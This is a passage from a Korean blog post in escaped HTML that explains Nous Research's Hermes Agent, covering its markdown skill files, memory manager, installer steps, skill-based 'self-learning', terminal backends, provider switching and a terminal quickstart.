PLATFORM_MAP = {&quot;macos&quot;: &quot;darwin&quot;, &quot;linux&quot;: &quot;linux&quot;, &quot;windows&quot;: &quot;win32&quot;}
EXCLUDED_SKILL_DIRS = frozenset((&quot;.git&quot;, &quot;.github&quot;, &quot;.hub&quot;))

def parse_frontmatter(content: str) -&amp;gt; Tuple[Dict[str, Any], str]:
    ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/agent/skill_utils.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agent/skill_utils.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS/Linux/Windows별로 스킬이 다르게 동작할 수 있어서, 플랫폼 매핑을 코드 수준에서 관리하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 파일 실물 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 마크다운 파일로 저장된다. YAML frontmatter에 메타데이터, 본문에 절차를 기술하는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMXQQB%2FdJMcabKAYXP%2FKUoqq0EjHeb3tLZjn0KTZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1104&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;---
name: my-deploy-script
description: 프로덕션 배포 자동화
version: 1.0.0
platforms: [macos, linux]
metadata:
  hermes:
    tags: [devops, deploy]
    category: devops
    requires_toolsets: [terminal]
---
# 프로덕션 배포

## When to Use
&quot;배포해줘&quot;, &quot;deploy to production&quot; 등의 요청 시 활성화.

## Procedure
1. 현재 브랜치가 main인지 확인
2. 테스트 스위트 실행 (`npm test`)
3. 빌드 생성 (`npm run build`)
4. 원격 서버에 rsync로 전송

## Pitfalls
- main 외 브랜치에서 실행 시 경고 후 중단
- 테스트 실패 시 배포 차단

## Verification
배포 URL에 HTTP 200 응답 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 3단계로 로드된다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Level 0(메타데이터 목록, ~3k 토큰)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Level 1(전체 내용 로드)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Level 2(참조 파일).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 이런 파일을 생성하며, 설치된 스킬은 &lt;code&gt;/my-deploy-script&lt;/code&gt;처럼 슬래시 명령으로 자동 등록된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;agentskills.io 개방형 표준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업 후 에이전트가 경험을 구조화된 마크다운 스킬 파일로 자동 합성한다. README와 공식 Skills 문서는 Hermes가 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt; 개방형 표준과 호환된다고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 포맷은 Anthropic이 원안을 만들어 오픈 스탠다드로 공개한 것이다. Hermes 외에 Claude Code, GitHub Copilot, Cursor, OpenAI Codex, Gemini CLI 등 30개 이상의 에이전트 도구가 지원한다. Hermes에서 만든 스킬을 다른 플랫폼에서도 쓸 수 있고, 반대도 가능하다. 스킬이 특정 도구에 묶이지 않고 개발자가 가져갈 수 있는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 관리자 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;agent/memory_manager.py&lt;/code&gt;를 보면, 기본 메모리(MEMORY.md + USER.md)는 항상 로드되고 빼낼 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 플러그인 메모리(Honcho 등)는 &lt;b&gt;1개만&lt;/b&gt; 연결할 수 있다. 두 번째를 연결하려 하면 경고가 뜨고 거부된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/agent/memory_manager.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agent/memory_manager.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Honcho랑 다른 외부 메모리를 동시에 쓰고 싶다면, 현재로서는 방법이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;install.sh 구조 요약&lt;/h3&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# install.sh 처리 순서 (요약)
1. OS 감지 &amp;rarr; Windows는 PowerShell로 안내 후 중단
2. UV 없으면 다운로드 설치
3. Python 3.11 설치 (UV 경유)
4. Node.js 22 LTS 다운로드
5. ripgrep, ffmpeg 패키지 설치
6. Git clone (SSH &amp;rarr; HTTPS fallback)
7. uv pip install (가상환경)
8. systemd gateway 서비스 선택 설치&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 및 통합&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 실체 : 모델 훈련이 아니다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxhGDH%2FdJMcafGcBh9%2FfZiYHQI6ObXfxsbIQob381%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;1066&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;오해하기 쉬운 부분부터 짚고 넘어가자. Hermes의 &quot;자가학습&quot;은 LLM 모델 자체를 파인튜닝하는 게 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 &lt;b&gt;반복 작업 패턴을 마크다운 파일로 구조화해서 저장&lt;/b&gt;하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 중 도구 호출이 5회 이상 발생하거나, 에러를 복구하거나, 사용자가 수정을 가하면 에이전트가 그 과정을 분석해서 재사용 가능한 스킬 파일을 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://mranand.substack.com/p/inside-hermes-agent-how-a-self-improving&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Inside Hermes Agent - mranand.substack.com&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 한 번만 쓰는 다양한 작업에서는 효과가 거의 없다. &lt;b&gt;같은 유형의 작업을 반복할수록&lt;/b&gt; 체감이 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 보고를 종합하면 대략 이렇다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;학습 전 (처음 사용)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;학습 후 (10~20회 반복 후)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브리핑&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매번 같은 설명 반복&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설명 없이 바로 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 속도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기준선&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2~3배 향상 보고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;질문 빈도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미 답한 것도 다시 질문&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;알고 있는 것은 묻지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;세션 연속성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매 세션 처음부터&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;과거 세션 검색 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 비교는 커뮤니티 보고 종합이며, 실제 효과는 작업 유형과 모델에 따라 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://lushbinary.com/blog/hermes-agent-developer-guide-setup-skills-self-improving-ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lushbinary Developer Guide&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://byteiota.com/hermes-agent-tutorial-build-self-improving-ai-agents-2026/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;byteiota tutorial&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습 5가지 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) FTS5 세션 검색 + LLM 요약&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 CLI&amp;middot;메시징 세션이 &lt;code&gt;~/.hermes/state.db&lt;/code&gt;(SQLite)에 저장되며, FTS5 전문검색으로 과거 대화를 조회한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난주에 X 배포 건 논의했나?&quot;와 같은 cross-session 질의에 응답할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/sessions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Sessions 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 대화를 저장하는 것과 검색까지 되는 것은 실사용에서 체감이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) 자율 스킬 생성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 스킬 파일을 생성한다. 다음번에 비슷한 작업이 들어오면 학습된 스킬을 재사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) 사용 중 스킬 자동 개선&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 스킬을 실행하면서 더 나은 방법을 발견하면 스킬 자체를 갱신한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4) Honcho 기반 사용자 모델링&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://honcho.dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Honcho&lt;/a&gt;는 AI-native 메모리 백엔드인데, 대화를 통해 &quot;이 사용자는 어떤 사람인가&quot;를 추론해서 프로파일을 쌓아간다. v0.7.0에서 플러그인 시스템으로 전환됐다. 사용자 카드 조회(&lt;code&gt;honcho_profile&lt;/code&gt;), 시맨틱 검색(&lt;code&gt;honcho_search&lt;/code&gt;), LLM 합성 컨텍스트(&lt;code&gt;honcho_context&lt;/code&gt;), 사실 저장(&lt;code&gt;honcho_conclude&lt;/code&gt;) 4개 툴을 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5) agentskills.io 개방형 표준 호환&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 설명한 스킬 표준. 다른 에이전트 플랫폼과 스킬을 공유할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;터미널 백엔드 6종&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 명령을 실행하는 환경을 고를 수 있다. 로컬 머신에서 바로 돌릴 수도 있고, Docker로 격리할 수도 있고, 아예 서버리스에 맡길 수도 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;백엔드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;local&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 머신 직접 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Docker&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컨테이너 격리 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SSH&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;원격 서버 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Daytona&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서버리스 영속성&amp;middot;휴면 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Singularity&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;HPC/클러스터 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Modal&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서버리스 영속성&amp;middot;휴면 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;local/Docker는 개발용, SSH는 서버 운영, Daytona/Modal은 서버리스, Singularity는 연구 클러스터용이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 공급자 전환&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes model&lt;/code&gt; 한 번이면 코드 수정 없이 모델을 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nous Portal, OpenRouter(200+ 모델), OpenAI, z.ai/GLM, Kimi/Moonshot, MiniMax, 커스텀 엔드포인트까지 지원한다. 오늘은 Claude로 쓰다가 내일은 로컬 모델로 바꾸는 게 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ACP: 에디터 MCP 통합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VS Code, Zed, JetBrains에서 이미 쓰고 있는 MCP 서버가 있다면 Hermes에 그대로 연결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에디터에서 설정한 MCP 도구들을 에이전트가 바로 가져다 쓰는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw 마이그레이션&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw 쓰고 있었다면 &lt;code&gt;hermes claw migrate&lt;/code&gt; 한 줄로 옮길 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페르소나, 메모리, 스킬, API 키, 워크스페이스 설정을 자동으로 가져온다. 처음부터 다시 설정할 필요 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 이미 openclaw에 연결했던 supabase 설정이 살아있는지 확인해 보았다. 대부분 잘 마이그레이션 되어 있는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw99ax%2FdJMcaiiBFzr%2Fc5FpaxWapuGz334LaUQDik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1928&quot; height=&quot;1548&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 A: 처음 5분 &amp;mdash; 터미널에서 바로 첫 작업 실행하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes를 처음 쓴다면 게이트웨이 설정 없이 터미널 CLI만으로 시작하는 게 가장 빠르다. API 키 하나면 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Quickstart 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 설치 (완료 시 생략)
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.zshrc   # 또는 source ~/.bashrc

# 2. 초기 설정 (처음 한 번만)
hermes setup
# &amp;rarr; LLM 공급자 선택: OpenAI / Anthropic / OpenRouter 중 택 1
# &amp;rarr; API 키 입력
# &amp;rarr; 게이트웨이: &quot;CLI (터미널)&quot;을 선택하면 메시지 앱 없이 바로 사용 가능

# 3. 에이전트 시작
hermes

# 4. 이제 자연어로 작업을 입력하면 된다
# 예시 입력:
# &amp;gt; &quot;현재 디렉토리의 파이썬 파일 목록을 보여줘&quot;
# &amp;gt; &quot;README.md를 읽고 핵심 내용을 한국어로 요약해줘&quot;
# &amp;gt; &quot;날씨 API를 호출하는 파이썬 코드 작성 후 바로 실행해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 작업을 받아 터미널에서 직접 실행하고 결과를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 스킬 저장소가 비어 있지만, 같은 종류의 작업을 반복하면 에이전트가 패턴을 인식해서 스킬 파일을 자동으로 만든다. 다음번에 비슷한 요청이 들어오면 그 스킬을 재사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 B: 월 $5 클라우드 서버에서 개인 비서 에이전트 운영&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPS(Virtual Private Server)는 클라우드에서 빌려 쓰는 가상 서버다.&lt;/p&gt;
